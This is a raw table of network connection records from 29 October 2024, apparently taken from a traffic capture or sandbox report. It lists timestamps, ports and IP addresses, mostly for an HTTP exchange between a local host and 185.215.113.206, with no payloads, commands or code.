Oct 29, 2024 15:27:48.952496052 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.953099966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953108072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953119993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953125954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953133106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953139067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953145981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953151941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953165054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953170061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953174114 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.953176975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953185081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953191042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953200102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.953203917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953218937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953232050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953236103 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.953248978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953252077 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.953258991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953263044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953274965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953283072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.953284979 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.953327894 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954030037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954037905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954052925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954055071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954060078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954072952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954078913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954090118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954094887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954102039 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954128027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954130888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954135895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954152107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954158068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954165936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954175949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954184055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954189062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954193115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954195976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954204082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954210043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954216957 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954226971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954233885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954241037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954243898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954247952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954256058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954263926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954272032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954272032 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954288006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954293013 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954296112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954304934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954313993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954346895 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954905987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954914093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954920053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954926014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954931974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954940081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954952955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954958916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954961061 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.954966068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954973936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954984903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954991102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954998016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.954999924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955004930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955017090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955019951 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955024004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955040932 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955053091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955061913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955065012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955070972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955071926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955079079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955084085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955104113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955120087 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955141068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955182076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955188990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955194950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955200911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955207109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955231905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955240011 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.955260992 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.955262899 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955334902 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.955344915 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:48.955393076 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:48.955687046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955775023 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955898046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955904961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955910921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955921888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955928087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955935955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955948114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955954075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955955029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955971003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955976963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955984116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.955985069 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.955996990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956002951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956012964 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956016064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956024885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956032038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956033945 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956043959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956046104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956053019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956067085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956073046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956079960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956082106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956089020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956096888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956109047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956115007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956115961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956121922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956127882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956142902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956147909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956149101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956156015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956161976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956168890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956170082 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956177950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956185102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956192017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.956201077 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956229925 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.956254005 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.957335949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957346916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957349062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957360029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957365990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957379103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957386017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957401037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957403898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957415104 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.957418919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957434893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957458019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.957488060 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.957510948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.957560062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.959974051 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:48.959990025 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.960966110 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.961005926 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.974253893 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.974273920 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.975363970 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.975424051 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:48.975513935 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.975687981 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.975719929 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:48.979213953 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.979819059 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.979957104 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.979989052 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.980005026 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.980015039 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.980021000 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.988827944 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.988867044 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:48.988943100 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.989563942 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.989578009 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:48.990163088 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.990190983 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:48.990251064 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.990498066 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:48.990513086 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:48.994949102 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.994997025 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.995465994 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.995635986 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.995671988 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.999094009 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.999470949 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.999495983 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.999969959 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.999975920 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.014745951 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.015227079 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.015249968 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.015681028 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.015687943 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.055690050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055704117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055710077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055763960 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.055775881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055783033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055797100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055803061 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.055831909 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.055857897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055862904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055869102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055876017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.055907011 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.055921078 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.056004047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056010008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056027889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056035042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056040049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056046963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056052923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056056023 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.056060076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056094885 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.056112051 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.056170940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056176901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056190014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.056226969 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096199989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096215010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096220970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096225977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096282005 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096324921 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096334934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096349955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096362114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096369028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096374989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096381903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096399069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096405029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096416950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096422911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096430063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096441031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096446991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096451998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096460104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096473932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096479893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096479893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096479893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096488953 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096497059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096503019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096503973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096517086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096523046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096525908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096529961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096537113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096543074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096549034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096554995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096560955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096565962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096577883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096580982 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096585035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096590996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096597910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096609116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096616030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096633911 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096646070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096652031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096656084 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096658945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096664906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096671104 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096678019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096683025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096689939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096697092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096703053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096714020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096723080 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096723080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096733093 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096739054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096745014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096749067 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096752882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096765041 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096765995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096790075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096803904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096812963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096818924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096824884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096831083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096832991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096853018 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096858025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096858978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096872091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096875906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096880913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096882105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096889973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096895933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096903086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096908092 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.096909046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.096949100 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097163916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097171068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.097215891 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097215891 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.097337008 CET	80	49940	185.215.113.206	192.168.2.6
